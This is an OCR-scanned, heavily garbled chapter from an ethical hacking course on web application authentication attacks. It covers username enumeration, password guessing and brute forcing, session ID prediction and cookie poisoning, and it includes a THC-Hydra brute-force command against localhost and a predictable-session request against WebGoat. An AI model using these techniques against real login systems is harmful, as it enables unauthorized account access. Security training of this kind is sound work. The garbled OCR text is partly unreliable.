₪ ₪ ₪ ₪ ₪ ₪ m ₪ m

------------------------------------------------
A t t a c k

|-----------------------------------------------

-------------------------------------------- -
I n f o r m a t i o n

-------------------------------------------- -
A t t a c k

■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■

C lien t-S ide  V a lid a tio n
In je c t io n  A tta ck , 

A u th e n tic a tio n  A tta ck
In je c t io n  A tta ck

P riv ilege  Esca la tion , 

Access C o n tro ls

Database In te ra c t io n
SQL In je c t io n , Data 

Leakage

C lea rte x t
C o m m u n ic a tio n

Data T h e ft, Session 
H ijack ing

File U p lo a d  and  

D o w n lo a d
D ire c to ry  Traversa l E rro r M essage In fo rm a tio n  Leakage

D isp lay o f  

U se r-S up p lied  Data
Cross-S ite S c rip ting Em ail In te ra c tio n Em ail In je c t io n

D yn am ic  R edirects
R e d ire c tio n , H eader 

In je c t io n
A p p lic a tio n  Codes B u ffe r  O ve rflo w s

Log in
U se rna m e E n u m e ra tio n , 

Passw ord B ru te -F orce

T h ird -P a rty
A p p lic a tio n

K n o w n  V u ln e ra b ilitie s  
E xp lo ita tio n

Session S ta te
Session H ijack ing , 

Session F ixa tion
W eb S e rver S o ftw a re

K n o w n  V u ln e ra b ilitie s  

E xp lo ita tio n

Copyright © by E&C01nal. A ll Rights Reserved. Reproduction is Strictly Prohibited.

A n a l y z e  W e b  A p p l i c a t i o n s :  M a p  t h e  A t t a c k  S u r f a c e

There  are va r ious  e n t r y  p o in ts  fo r  a t ta cke rs  to  c o m p ro m is e  th e  n e tw o rk ,  so p ro p e r  

analysis o f  th e  a t ta c k  surface  m u s t  be done . The m a p p in g  o f  th e  a t ta ck  su rface  inc ludes 

th o ro u g h  check ing  o f  poss ib le  v u ln e ra b i l i t ie s  to  launch  th e  a ttack . The fo l lo w in g  are  th e  

va r ious  fa c to rs  th ro u g h  w h ic h  an a t ta c k e r  co llec ts  th e  in fo rm a t io n  and p lans th e  k ind  o f  a t tack  

to  be launched .
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I n f o r m a t i o n A t t a c k I n f o r m a t i o n

!̂ m m ₪ ₪ ₪ a ₪ ₪ a ₪ m

A t t a c k

■ ■ ■ ■ ■ ■ ■ ■ ■

Client-Side Validation
Injection Attack, 

Authentication Attack
Injection Attack

Privilege Escalation, 
Access Controls

Database Interaction
SQL Injection, Data 

Leakage
Cleartext

Communication
Data Theft, Session 
Hijacking

File Upload and 
Download

Directory Traversal Error Message Information Leakage

Display of 
User-Supplied Data

Cross-Site Scripting Email Interaction Email Injection

Dynamic Redirects
Redirection, Header 

Injection
Application Codes Buffer Overflows

Login
Username Enumeration, 

Password Brute-Force
Third-Party
Application

Known Vulnerabilities 
Exploitation

Session State
Session Hijacking, 
Session Fixation

Web Server Software
Known Vulnerabilities 

Exploitation

F IG U R E  1 3 .3 9 :  M a p  t h e  A t t a c k  S u r fa c e
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Attack Session Attack Attack
Management Data Connectivity Web Services 
Mechanism

Attack Attack
Web Servers Authentication

Mechanism

Copyright © by EC-Cauactl. A ll Rights Reserved. Reproduction is Strictly Prohibited.

W e b  A p p  H a c k i n g  M e t h o d o l o g y

In w e b  a pp lica t ions , th e  a u th e n t ic a t io n  fu n c t io n a l i t y  has m a n y  design loo ph o le s  such 

as bad passw ords, i.e. s h o r t  o r  b lank, c o m m o n  d ic t io n a ry  w o rd s  o r  nam es, passw ords  set th e  

sam e as user nam e, and th o se  sti l l  set to  d e fa u l t  va lues. The a t ta c k e r  can e x p lo i t  th e  

v u ln e ra b i l i t ie s  in th e  a u th e n t ic a t io n  m e c h a n is m  fo r  ga in ing  access to  th e  w e b  a p p l ic a t io n  o r  

n e tw o rk .  The va r ious  th re a ts  t h a t  e x p lo i t  th e  w eaknesses in th e  a u th e n t ic a t io n  m ech an ism  

inc lude  n e tw o rk  e a ve sd rop p in g ,  b ru te  fo rc e  a ttacks, d ic t io n a ry  a ttacks , cook ie  rep la y  a ttacks, 

c re d e n t ia l  th e f t ,  etc.
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C E H

_ _

A t t a c k  A u t h e n t i c a t i o n  

M e c h a n i s m

A t t a c k  A u t h e n t i c a t i o n  M e c h a n i s m

U ^־  M o s t  o f  th e  a u th e n t ic a t io n  m echan ism s  used by w e b  a pp lica t ion s  have design f laws. If 

an a t ta c k e r  can id e n t i f y  th ose  design f law s , he o r  she can easily e x p lo i t  th e  f la w s  and gain 

u n a u th o r iz e d  access. The des ign  f la w s  inc lude  fa i l in g  to  check  passw ord  s t re n g th ,  insecure  

t ra n s p o r ta t io n  o f  c red en t ia ls  o v e r  th e  In te rn e t ,  etc. W e b  a pp lica t ion s  usua lly  a u th e n t ic a te  th e i r  

c l ien ts  o r  users based on a c o m b in a t io n  o f  user n am e  and passw ord . Hence, th e  a u th e n t ic a t io n  

m e c h a n is m  a t ta c k  invo lves  id e n t i f y in g  and e x p lo i t in g  th e  user nam e  and passwords .

U s e r  N a m e  E n u m e r a t i o n

User nam es can be e n u m e ra te d  in tw o  w ays; one  is v e rb o s e  fa i lu re  m essages and th e  

o th e r  is p re d ic ta b le  user nam es.

V e r b o s e  F a i l u r e  M e s s a g e

— ' In a typ ica l log in  sys tem , th e  user is re q u ire d  to  e n te r  tw o  p ieces o f  in fo rm a t io n ,  t h a t  

is, user nam e  and passw ord . In som e  cases, an a p p l ic a t io n  w i l l  ask fo r  som e  m o re  

in fo rm a t io n .  If th e  user is t r y in g  to  log in and fa ils, th e n  it can be in fe r re d  th a t  a t  least one  o f  

th e  p ieces o f  th e  in fo rm a t io n  t h a t  is p ro v id e d  by th e  user is in c o r re c t  o r  in c o n s is te n t  w i th  th e  

o th e r  in fo rm a t io n  p ro v id e d  by th e  user. The a p p l ic a t io n  discloses t h a t  p a r t ic u la r  in fo rm a t io n  

t h a t  is p ro v id e d  by th e  user was in c o r re c t  o r  in co ns is te n t ;  i t  w i l l  be p ro v id in g  g ro u n d  fo r  an 

a t ta c k e r  to  e x p lo i t  th e  a pp l ica t ion .
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Exam ple :

© A c c o u n t  < u se rn am e>  n o t  fo u n d  

© The passw ord  p ro v id e d  in c o r re c t  

© A c c o u n t  < u se rn am e>  has been locked o u t  

P r e d i c t a b l e  U s e r  N a m e s

Some o f  th e  a pp lica t ion s  a u to m a t ic a l ly  g e n e ra te  a c c o u n t  user nam es a cco rd ing  to  

som e  p re d ic ta b le  sequence. This m akes i t  v e ry  easy w a y  fo r  th e  a t ta c k e r  w h o  can 

d iscern  th e  sequence  fo r  p o te n t ia l  e xhaus t ive  list o f  all v a l id  use r  nam es.

P a s s w o r d  A t t a c k s

Passwords are c racked based on:

© Password fu n c t io n a l i t y  e xp lo i ts  

© Password guessing 

© B ru te - fo rc e  a ttacks  

S e s s i o n  A t t a c k s

The fo l lo w in g  are  th e  typ e s  o f  session a t tacks  e m p lo y e d  by th e  a t ta c k e r  to  a t ta c k  th e  

a u th e n t ic a t io n  m ech an ism :

© Session p re d ic t io n

© Session b ru te - fo rc in g

© Session po ison ing

C o o k i e  E x p l o i t a t i o n

The fo l lo w in g  are th e  typ es  o f  cook ie  e x p lo i ta t io n  a ttacks:

© Cookie  po ison ing  

© Cookie  sn if f ing  

© Cookie  rep lay
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User Name Enumeration CEH
UrtifWd ItliK4I lUilwt

I f  l o g i n  e r r o r  s t a t e s  w h i c h  p a r t  o f  t h e  u s e r  n a m e  a n d  p a s s w o r d  i s  n o t  c o r r e c t ,  g u e s s  

t h e  u s e r s  o f  t h e  a p p l i c a t i o n  u s i n g  t h e  t r i a l - a n d - e r r o r  m e t h o d

N o te : U ser nam e e n u m e ra tio n  fro m  verbose  e r ro r  messages w ill fa il if  th e  a p p lic a tio n  im p lem e n ts  a cco u n t lo c k o u t po licy  

i.e ., locks a cco u n t a f te r  a ce r ta in  num ber o f  fa ile d  log in  a tte m p ts

Copyright © by EC-Cauactl. All Rights Reserved. Reproduction is Strictly Prohibited.

U s e r  N a m e  E n u m e r a t i o n

Source : h ttp s :/ /w o rd p re s s .c o m

U ser nam e  e n u m e ra tio n  he lps in guessing  log in  IDs and passw ords o f users. If th e  log in  e rro r  

s ta te s  w h ic h  p a rt o f  th e  user nam e and passw ord  a re  n o t c o rre c t, guess th e  users o f  th e  

a p p lic a tio n  using  th e  t r ia l-a n d -e r ro r  m e th o d .

Look a t th e  fo llo w in g  p ic tu re  th a t  show s e n u m e ra tin g  user nam es fro m  ve rb o se  fa ilu re

m essages:
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W o r d P r e s s .c o m

ERROR: The password you entered (or the email or 
username nmmatthews is incorrect Lost vour 
password?

Email o r Username

r in im a tth e w s

Password

□  Remember Me

Register I Lost your password? 

-  BacMo WordPress com

Log In

W o r d P r e s s .c o m

ERROR Invalid email or username Lost your
password?

Email o r  usernam e

r in i.m a tth e w s

Password

□  Remember Me

Register I Lost your password? 

— Back to WordPress com

Log In

Username rin i.m atthew s does no t exist Username successfully enum erated to  rin im a tthew s

F I G U R E  1 3 . 4 0 :  U s e r  N a m e  E n u m e r a t i o n

Note: U ser nam e  e n u m e ra tio n  fro m  ve rb o se  e rro r  m essages w ill fa il i f  th e  a p p lic a tio n  

im p le m e n ts  a c c o u n t lo c k o u t po licy , i.e ., locks th e  a c c o u n t a fte r  a c e rta in  n u m b e r o f  fa ile d  log in  

a t te m p ts .

Som e a p p lic a tio n s  a u to m a tic a lly  g e n e ra te  a c c o u n t user nam es based on a sequence  (such as 

u s e r lO l,  u s e r l0 2 , e tc .), and a tta cke rs  can d e te rm in e  th e  sequence  and e n u m e ra te  va lid  user 

nam es.
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CEHPassword Attacks: Password 
Functionality  Exploits

D e te rm ine  passw ord  change fu n c tio n a lity  w ith in  th e  

a p p lica tio n  by sp id e rin g  th e  a p p lica tio n  o r  c re a tin g  a login 
a ccou n t

Try ra n d o m  strings fo r 'O ld  Password', 'N e w  Password', and 

'C o n firm  th e  N e w  Passw ord ' fie ld s  and ana lyze e rro rs  to  

id e n t ify  v u ln e ra b il it ie s  in passw ord  change fu n c tio n a lity

'F o rgo t Passw ord ' fe a tu re s  gen e ra lly  p resent a cha llenge to  

th e  user; if  th e  num ber o f  a tte m p ts  is n o t lim ite d , a tta cke r 
can guess th e  c h a lle n g e  a n sw e r successfu lly w ith  th e  he lp  o f  

soc ia l eng ineering

A p p lica tio n s  m ay a lso send a u n iq u e  re co ve ry  URL o r exis ting  

passw ord  to  an e m a il address spec ified  by th e  a tta cke r if  th e  
cha llenge is so lved

"R e m e m b e r M e " fu n c tio n s  are  im p le m e n te d  using a s im ple  

pe rs is ten t cook ie , such as R e m e m b e rU se r= ja so n  o r  a 
pe rs is ten t session id e n t if ie r  such as 

R e m em berU se r=A B Y 112010

A tta cke rs  can use an e n u m era ted  user nam e o r  p re d ic t the  
session id e n t if ie r  to  bypass a u th e n tic a tio n  m e ch a n ism s

Copyright © by EC-Cauactl. All Rights Reserved. Reproduction is Strictly Prohibited.

P a s s w o r d  A t t a c k s :  P a s s w o r d  F u n c t i o n a l i t y  E x p l o i t s

Passw ord a tta cks  a re  th e  te c h n iq u e s  used by th e  a tta c k e r fo r  d isco ve rin g  passw ords. 

A tta c k e rs  e x p lo it th e  passw ord  fu n c t io n a lity  so th a t th e y  can bypass th e  a u th e n t ic a t io n  

m e c h a n is m .

P a s s w o r d  C h a n g i n g

D e te rm in e  passw ord  change  fu n c t io n a lity  w ith in  th e  a p p lic a tio n  by s p id e r in g  th e  

a p p lic a tio n  o r  c re a tin g  a log in  a cco u n t. T ry  ra n d o m  s tring s  fo r  O ld Passw ord, N ew  

Passw ord, and  C o n firm  th e  N ew  Passw ord fie ld s  and ana lyze  e rro rs  to  id e n t ify  v u ln e ra b ilit ie s  in 

passw ord  change  fu n c t io n a lity .

P a s s w o r d  R e c o v e r y

^ -י  —  F orgo t Passw ord fe a tu re s  g e n e ra lly  p re s e n t a ch a llenge  to  th e  user; i f  th e  n u m b e r o f 

a tte m p ts  is n o t lim ite d , a tta cke rs  can guess th e  ch a llen ge  a n sw e r su ccessfu lly  w ith  th e  he lp  o f 

socia l e n g in e e rin g . A p p lic a tio n s  m ay a lso send a u n iq u e  re co ve ry  URL o r e x is tin g  p assw ord  to  

an e m a il address sp ec ified  by th e  a tta c k e r  if  th e  ch a llen ge  is so lved .

R e m e m b e r  M e  E x p l o i t

R em em b er M e  fu n c t io n s  a re  im p le m e n te d  us ing  a s im p le  p e rs is te n t co ok ie , such as 

R em em b erU se r= jaso n  o r  a p e rs is te n t session id e n t if ie r  such as R em em berU ser=A B Y 112010 .
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A tta c k e rs  can use an e n u m e ra te d  user nam e o r p re d ic t th e  session id e n t if ie r  to  bypass 

a u th e n tic a tio n  m echan ism s.
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CEHPassword Attacks: Password 
Guessing

Tools

Password guessing can be 

p e rfo rm e d  m anua lly  o r  using 
a u to m a te d  to o ls  such as B ru tus, 

T H C -H yd ra ,e tc .

Password
D ictionaryre

A ttackers  can c re a te  a d ic tio n a ry  

o f  a ll possible passw ords using 
to o ls  such as D ic tio n a ry  M a k e r 

to  p e rfo rm  d ic tio n a ry  a ttacks

Password
List

Attackers create a lis t o f possible 
passwords using m ost com m only 
used passwords, foo tp rin ting  target 
and social eng ineeringtechniques, 
and t ry  each password u n til the  
correct password is d iscovered

*lout
Ta1g«l P assw crts |Tun.ng |0p ec ific  Gtart |

O u to jt
H ydra v4 * (c) 5004  by v a n  M a u se r /T H C  • u s e  allo׳A/Pd only for legal p u rp o ses  
H yd a׳  (tv to  . •vw.ua Ihc erg) starling  at 2004-05-17 51 :58:52 
[D A ' AJ 3 2  ta s k s .  1 se rv e rs , 45380  login tr ie s  (l:1/p:45380). ~1418 tr ie s  p e r ta s k  
[ d a t a ]  a r a c k n g  s e rv ice  ftp  on port 21
(STATUS] 14055.00 Ules/min. 14050 Irles In 00:01h. 31324 lexfoIn 00:031) 
[STATUS] 14513.00 ifles/min. 29020 tries In 00:0211. 15354 tcxio In 00.0211 
h [Tip][ ו 2] o s t :  127.0.0.1 lo g in : m a rc  p a s s w o rd :  s u c c e s s  
Hyda (Mp.//*#swlhc erg) finished a! 2004-05-17 22:01:38 
< r1n lshed >

Gave Output I

% !0 u it

Target Pa3swcrdc | Tuning | Cpeciffc | Gtart j 

Username

(•  Username test!

C  Usomamo Lict

C  Password 

<* Passv/ora List

[7  T ry empty passw ac;

C olor separated rile

r  Leo Colon 6eporatod filo

P" Try login a s  p assw ord

hydra 127.0.0.1 ftp  -I testuser -P /tmp/pa3slist.1xt -e ns

Copyright © by EC-Cauactl. All Rights Reserved. Reproduction is Strictly Prohibited.

- ■  P a s s w o r d  A t t a c k s :  P a s s w o r d  G u e s s i n g
J 1 = S

-  Passw ord guess ing  is a m e th o d  w h e re  an a tta c k e r guesses va rio u s  passw ords  u n til he 

o r  she gets th e  c o rre c t passw ords by us ing  th e  fo llo w in g  m e th o d s : passw ord  lis t, passw ord  

d ic t io n a ry , and va rio u s  to o ls .

A tta c k e rs  c re a te  a lis t o f poss ib le  passw ords  us ing  m o s t c o m m o n ly  used passw ords , 

fo o tp r in t in g  ta rg e t and socia l e n g in e e rin g  te c h n iq u e s , and try in g  each passw ord  u n til th e  

c o rre c t passw ord  is d isco ve re d .

P a s s w o r d  D i c t i o n a r y

A tta c k e rs  can c re a te  a d ic t io n a ry  o f  all poss ib le  passw ords us ing  to o ls  such as 

D ic tio n a ry  M a k e r to  p e r fo rm  d ic t io n a ry  a ttacks .

T o o l s  U s e d  f o r  P a s s w o r d  G u e s s i n g

Passw ord guessing  can be p e rfo rm e d  m a n u a lly  o r  using a u to m a te d  to o ls  such as

m

W ebC racke r, B ru tus , B urp  Ins ide r, TH C -H ydra, e tc. 

T H C - H y d r a

Source : h t tp : / /w w w .th c .o rg
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THC-HYDRA is a n e tw o rk  logon  c ra cke r th a t  s u p p o rts  m an y  d if fe re n t  serv ices. This to o l is a 

p ro o f o f  c o n c e p t code , to  g ive  resea rche rs  and s e c u r ity  c o n s u lta n ts  th e  p o s s ib ility  to  sh o w  h o w  

easy it  w o u ld  be to  gain u n a u th o riz e d  re m o te  access to  a system .

I I I  II I  1 1
<0 Q u it

­ H •י y d ra G T K  [h IfIh !

T a rg e t P a s s w o rd s  | T u n in g  | S p e c if ic  | S ta r t | T a rg e t | P a s s w o rd s  | T u n in g  | S p e c if ic  S ta r t ן
U se rn a m e O u tp u t

(• U s e rn a m e  |te s tu s e t 

C  U s e rn a m e  L is t

H yd ra  v 4  1 (c) 2 0 0 4  by  v a n  H a u se r / T H C u ־  s e  a llo w e d  o n ly  fo r  leg a l pu rp o se s . 

H yd ra  ( h t t p / .w w w .th c  o rg ) s ta rt in g  at 20 04 -05 *17  21 ;5 8 :5 2  

[D A T A ] 3 2  ta s k s . 1 s e rv e rs . 4 5 3 8 0  log in  tr ie s  ( l:1 /p :4 5 3 8 0 ). ~ 1 4 1 8  t r ie s  p e r ta s k  

[D A T A ] a tta c k in g  s e rv ic e  f tp  on  po rt 21

[S T A T U S ] 1 4 05 6 .00  tn e s 'm in , 1 4 0 5 6  t r ie s  in  0 0 :0 1 h . 3 1 3 2 4  to d o  in  00 :0 3 h  
[S T A T U S ] 1 4 51 3 .00  tn e s ^ m in . 2 9 0 2 6  tr ie s  in  0 0 :0 2 h . 16 35 4  to d o  in  00 :0 2 h  

[21 ][T ip ] h o s t :  1 2 7 .0 .0 .1  lo g in :  m a rc  p a s s w o r d :  s u c c e s s  

H yd ra  ( h l tp / . ,w w w .th c  o rg ) f in is h e d  a t 2 0 0 4 -0 5 -1 7  2 2 :0 1 .3 8  

< f ln is h e d >

p a s  sw ora

C  P a s s w o rd  

<• P a s s w o rd  L is t  | / tm p /p a s s lis t . tx t

C d o n  s e p e ra te d  f i le

U s e  C o lo n  se p e ra te d  f i le

(7 T ry  lo g in  a s  p a s s w o rd  F T ry  e m p ty  p a ssw o rd S f a r l j  S to p j  r.ove O u tp u t |  C le a r O u tp u t |
f iy d r a  127.0 .0 .1  f tp  •1 te s tu s e r  •P  / tm p /p a s s l is t . tx t  ■e ns ^ 1y d ra  127 .0  0.1 f tp m ־1  arc -P  / tm p /p a s s l is t . tx t  ■e ns  -t 3 2

F I G U R E  1 3 . 4 1 :  T H C - H y d r a  T o o l  S c r e e n s h o t  

In a d d it io n  to  th e se  to o ls , B urp  In s ide r is a lso used fo r  p assw ord  guessing.
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Password Attacks: Brute-forcing I CEH

C o p y r ig h t  ©  by E&Cauactl. A l l  R ig h ts  R e s e rv e d . R e p ro d u c t io n  is  S t r ic t ly  P r o h ib i te d .

P a s s w o r d  A t t a c k s :  B r u t e  F o r c i n g

wcav  1 1 B ru te  fo r c e  is o n e  o f  t h e  m e t h o d s  used  f o r  c ra c k in g  p a s s w o rd s .  In a b r u t e  fo r c in g  

a t ta c k ,  a t ta c k e rs  c ra c k  t h e  lo g in  p a s s w o rd s  by  t r y in g  all p o s s ib le  v a lu e s  f r o m  a s e t  o f  a lp h a b e t ,  

n u m e r ic ,  a n d  spec ia l  c h a ra c te rs .  T h e  m a in  l i m i t a t i o n  o f  t h e  b r u t e  f o r c e  a t t a c k  is t h is  is 

b e n e f ic ia l  in i d e n t i f y i n g  sm a l l  p a s s w o rd s  o f  t w o  c h a ra c te rs .  G u e s s in g  b e c o m e s  m o r e  c ru c ia l  

w h e n  th e  p a s s w o rd  le n g th  is lo n g e r  a n d  a lso  i f  i t  c o n ta in s  l e t te r s  w i t h  b o th  u p p e r  a n d  lo w e r  

case. I f  n u m b e r s  a n d  s y m b o ls  a re  u sed ,  t h e n  i t  m ig h t  e v e n  ta k e  m o r e  th a n  a f e w  y e a rs  t o  guess  

t h e  p a s s w o rd ,  w h ic h  is a lm o s t  p ra c t ic a l ly  im p o s s ib le .  C o m m o n ly  used  p a s s w o rd  c ra c k in g  t o o ls  

b y  a t ta c k e rs  i n c lu d e  B u rp  S u ite 's  In t r u d e r ,  B ru tu s ,  S e n s e p o s t 's  C ro w b a r ,  e tc .

B u r p  S u i t e ' s  I n t r u d e r

• > S o u rc e :  h t t p : / / p o r t s w i g g e r . n e t

B u rp  I n t r u d e r  is a m o d u le  o f  B u rp S u i te .  I t  e n a b le s  t h e  u s e r  t o  a u to m a t i z e  p e n  te s t in g  o n  w e b  

a p p l ic a t io n s .

Ethical H acking an d  C o u n te rm e asu re s  Copyright ©  by EC-C0UnCil
All Rights Reserved. R eproduction  is Strictly Prohib ited .

M odule  13 Page 1864

http://portswigger.net


Exam 312-50 C ertified Ethical HackerEthical Hacking and  C o u n te rm easu re s
Hacking W eb A pplications

s c a n n e r

target positions j payloads ' options______________________________________

numDer of payloads: 1.679 616

number of requests 8.398 080

payload set |1 ▼ | brute forcer __________________ ▼

character set |[at)Cdefghijklmnopqtstuvwxy20123456789 j

intruder \ repeater [ sequencer f decoder [ comparer ' options \ alerts

spider

b u rp  s u ite  fre e  e d it io n  v1.4.01

ourp intruder repeater window about

max length

p a y lo a d  p r o c e s s in g  r u le s

to uppercase

F I G U R E  1 3 . 4 2 :  B u r p  S u i t e ' s  I n t r u d e r  T o o l  S c r e e n s h o t

B r u t u s

S o u rc e :  h t t p : / / w w w . h o o b i e . n e t

B ru tu s  is a r e m o t e  p a s s w o rd  c ra c k in g  t o o l .  B ru tu s  s u p p o r t s  HTTP, POP3, FTP, S M B , T e ln e t ,  

IM A P , N NTP, a n d  m a n y  o t h e r  a u th e n t i c a t io n  ty p e s .  I t  i n c lu d e s  a m u l t i - s t a g e  a u t h e n t i c a t io n  

e n g in e  a n d  can  m a k e  60  s im u l t a n e o u s  t a r g e t  c o n n e c t io n s .

B־ > r u t u s  -  A E T 2  -  w w w . h o o b i e . n e t / b r u t u s  -  ( J a n u a r y  2 0 0 0 )

F i le  T o o ls  H e lp

Tjpe | HTTP (Basic Auth) J  | Start | Slep | Cleat |Targe( |127 0 01

10 Timeout r  J 10 I-  Use Proxy Deline |

Connection Options

ConnectionsPott

HTTP (Basic) Options

Method | HEAD ^  P  KeepAive

Biowse

Pass Mode |wotd List 

Pass Fie | w 1ds.txtBrowse

Authentication Options 

|7  Use Username f~ Single Use! 

Usei File | users, txlj

Positive Authentication Results

PasswordUsernameTarget
academicHTTP (Basic Auth) admin

H T T P (B asic Auth) backup
H T T P  IR n s ir  A i j l h l  a r lm in

127.0.0.1/
127.0.0.V 
1?7nn v

Opened user fie containing 6 users.
Opened password lile containing 818 Passwords 
Maximum nurnhpr nf flulhenlicrtfinn alfpmnts wil he 4908

Timeout Reject Auth Sea Throttle Quick Kill

FIGURE 1 3 .4 3 : B ru tu s  T o o l S c r e e n s h o t
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C o p y r ig h t  ©  b y  EC-Couactl. A l l  R ig h ts  R e s e rv e d . R e p ro d u c t io n  is  S t r ic t ly  P r o h ib i te d .

S e s s i o n  A t t a c k s :  S e s s i o n  I D  P r e d i c t i o n / B r u t e  F o r c i n g

Every t im e  a user logs in to  a p a r t ic u la r  w e b s ite , th e n  a session ID is g iven  to  th e  user. 

This session ID is va lid  u n til th e  session is te rm in a te d  and a n e w  session ID is p ro v id e d  w h e n  th e  

user logs in aga in . A tta c k e rs  t r y  to  e x p lo it th is  sess ion  ID m e c h a n is m  by guessing  th e  n e x t 

session ID a fte r  c o lle c tin g  som e va lid  session IDs.

0  In th e  f ir s t  s tep , th e  a tta c k e r  co lle c ts  som e  va lid  session ID va lues  by s n iff in g  t ra f f ic  fro m  

a u th e n tic a te d  users.

© A tta c k e rs  th e n  ana lyze  c a p tu re d  session IDs to  d e te rm in e  th e  session ID g e n e ra tio n  

process such as th e  s tru c tu re  o f  session ID, th e  in fo rm a tio n  th a t  is used to  c rea te  it, and 

th e  e n c ry p tio n  o r  hash a lg o r ith m  used by th e  a p p lic a tio n  to  p ro te c t it.

© In a d d it io n , th e  a tta c k e r  can im p le m e n t a b ru te  fo rc e  te c h n iq u e  to  g e n e ra te  and te s t 

d if fe re n t va lues  o f  th e  session ID u n t il he o r  she success fu lly  ge ts  access to  th e  

a p p lic a tio n .
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© V u ln e ra b le  session g e n e ra t io n  m ech an ism s th a t  use session IDs co m p ose d  by user nam e 

o r o th e r  p re d ic ta b le  in fo rm a tio n , like  t im e s ta m p  o r c lie n t IP address, can be e x p lo ite d  

by eas ily  guessing  va lid  session IDs.

GET http://lanalna:8180/WebGoat/attack?Ser«en-17& menu=410HTTP/1.1 
H o s t: j a n a in a :8 1 8 0
U ser*A gen t: M o z illa /5 .0  (W in d o w ; U; W in d o w s NT 5 .2 ;  e n * U S ;rv :1 .8 .1 .4 ) G ec k o /2 0 0 7 0 5 1 5  F ire fo x /2 .0 .04  

R e q u e s t  A c c e p t : te x t /x m l ,a p p l lc a t lo n /x m l ,a p p l lc a t lo n /x h tm k * m l , te x t /h tm d ;q - 0 .9 , te x t /p la in ;q = 0 .8 , lm a g e /p n g ,V ,'’,q = 0 .5

R e fe re r :  h t t p : / / l a n a i n a : 8 1 8 0 /W e b G o a t/a t ta c k ? S c re e n = 1 7 & m e n u = 4 1 0
C o o k ie ; JS ESSIO N ID =user01 י♦ .................................................................................
A u th o r iz a tio n : B asic23V ic3Q 623V lc3Q

F I G U R E  1 3 . 4 4 :  S e s s i o n  I D  P r e d i c t i o n / B r u t e  F o r c i n g

For c e rta in  w e b  a p p lic a tio n s , th e  session ID in fo rm a tio n  is u sua lly  co m p ose d  o f  a s tr in g  o f  fixe d  

w id th . R andom ness is e ssen tia l in o rd e r  to  avo id  p re d ic t io n . F rom  th e  d ia g ra m  yo u  can see th a t  

th e  session ID va ria b le  is in d ic a te d  by JSESSIONID and assum ing  its  va lue  as "u s e rO l,"  w h ic h  

c o rre sp o n d s  to  th e  user nam e. By guessing  th e  n e w  va lu e  fo r  it, say as "u s e r 0 2 ,"  it  is poss ib le  

fo r  th e  a tta c k e r  to  gain  u n a u th o r iz e d  access to  th e  a p p lic a tio n .

Predictable Session Cookie
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Cookie Exploitation: Cookie 
Poisoning

I f  th e  c o o k ie  c o n ta in s  p a s s w o rd s  o r  s e s s io n  id e n t if ie r s ,  a tta c k e rs  can s te a l th e  c o o k ie  us ing  
te c h n iq u e s  such  as s c r ip t  in je c t io n  a n d  e a v e s d ro p p in g

A tta c k e rs  th e n  re p la y  th e  c o o k ie  w ith  th e  sa m e  o r  a lte re d  p a s s w o rd s  o r  se ss io n  id e n t if ie rs  to  

bypa ss  w e b  a p p lic a t io n  a u th e n t ic a t io n

A tta c k e rs  can t ra p  co o k ie s  u s in g  to o ls  su ch  as O W A SP Z ed  A t ta c k  P ro xy , B u rp  S u ite , etc .

Untifled Session - OWASP ZAP

£ile Edit View Analyse Report Tools Hole

d Fj ® ־ 13© ״  Q1? 1, <2>
 | Requests j  Response— Brga«.Xj

J M J U j U B i  H i - * "  1*1 C'■ —
 1 :19—it _ ו ו: .  _*_____itt M cxilW S .C  ISiadc t *.י t  € .2 ; EHK«4t Appl«V ebK it/537.4 (KETKL 

I lk •  Scckol Cfcr0K*/2 2 . 0 . 12 2 » .9 4  S«C«X1 /5 3 7 .4  
Cache-C onti0 1 : oax-aoe=0  
A ccept! • / •
Rererer: ntcr://in.yonoc.oca»/?p^;3
A eeep t-E nccd ing : a deft 
A ccept-L an^uiqv : cn-U S,«n;q^> .9  
A cc v p t-C h a sav t: XSO -S559-1.at£-S;<f-C. 7 , • jq - 0 .3  
C ookl•: a<Uld015S24S9e12Sar4e: «<u r-:3S 4«U ~ C m 3:
Hoats t i.a d ls ie z a x .c o a

Alerts^ History Seatdi 
. *ran > j  spioer j*f [ arueKxe!1 .־

Current Scans 0
URI found during aa*M

URi found bui oul of aart scope

h ttps ://w w w .ow asp .o rg  cunwscaM_* 0 * 0  0 woAlerts r»0 0 •־-״ p o  f»0

C o p y r ig h t  ©  b y  EC-Gauactl. A l l  R ig h ts  R e s e rv e d . R e p ro d u c t io n  Is  S t r ic t ly  P r o h ib ite d

C o o k i e  E x p l o i t a t i o n :  C o o k i e  P o i s o n i n g

C ookies fre q u e n t ly  t ra n s m it  se ns itive  c re d e n tia ls  and can be m o d if ie d  w ith  ease to  

esca la te  access o r  assum e th e  id e n t ity  o f  a n o th e r  user.

C ookies a re  used to  m a in ta in  a session s ta te  in th e  o th e rw is e  s ta te less  HTTP p ro to c o l. Sessions 

are  in te n d e d  to  be u n iq u e ly  t ie d  to  th e  in d iv id u a l accessing th e  w e b  a p p lic a tio n . P o ison ing  o f 

cook ies  and session in fo rm a tio n  can a llo w  an a tta c k e r  to  in je c t m a lic io u s  c o n te n t o r  o th e rw is e  

m o d ify  th e  user's  o n lin e  e xp e rie n ce  and o b ta in  u n a u th o riz e d  in fo rm a tio n .

C ookies can c o n ta in  sess ion -spec ific  da ta  such as user IDs, passw ords , a c c o u n t n u m b e rs , links 

to  sh o p p in g  c a rt c o n te n ts , s u p p lie d  p r iv a te  in fo rm a tio n , and session IDs. C ookies e x is t as file s  

s to re d  in th e  c lie n t c o m p u te r 's  m e m o ry  o r  hard  d isk. By m o d ify in g  th e  da ta  in th e  co ok ie , an 

a tta c k e r  can o fte n  gain  esca la ted  access o r  m a lic io u s ly  a ffe c t th e  user's  session. M a n y  sites 

o ffe r  th e  a b il ity  to  "R e m e m b e r m e? " and s to re  th e  user's  in fo rm a tio n  in a co ok ie , so he o r  she 

does n o t have to  re -e n te r  th e  da ta  w ith  e ve ry  v is it to  th e  s ite . A n y  p riv a te  in fo rm a tio n  e n te re d  

is s to re d  in a co ok ie . In an a tte m p t to  p ro te c t co ok ies , s ite  d e ve lo p e rs  o fte n  e nco de  th e  

cook ies . Easily re ve rs ib le  e n co d in g  m e th o d s  such as Base64 and ROT13 ( ro ta t in g  th e  le tte rs  o f 

th e  a lp h a b e t 13 cha rac te rs ) g ive  m an y  w h o  v ie w  cook ies  a fa lse  sense o f s e cu rity . If th e  cook ie  

co n ta in s  passw ords  o r session id e n tif ie rs , a tta cke rs  can s tea l th e  co ok ie  us ing  te c h n iq u e s  such 

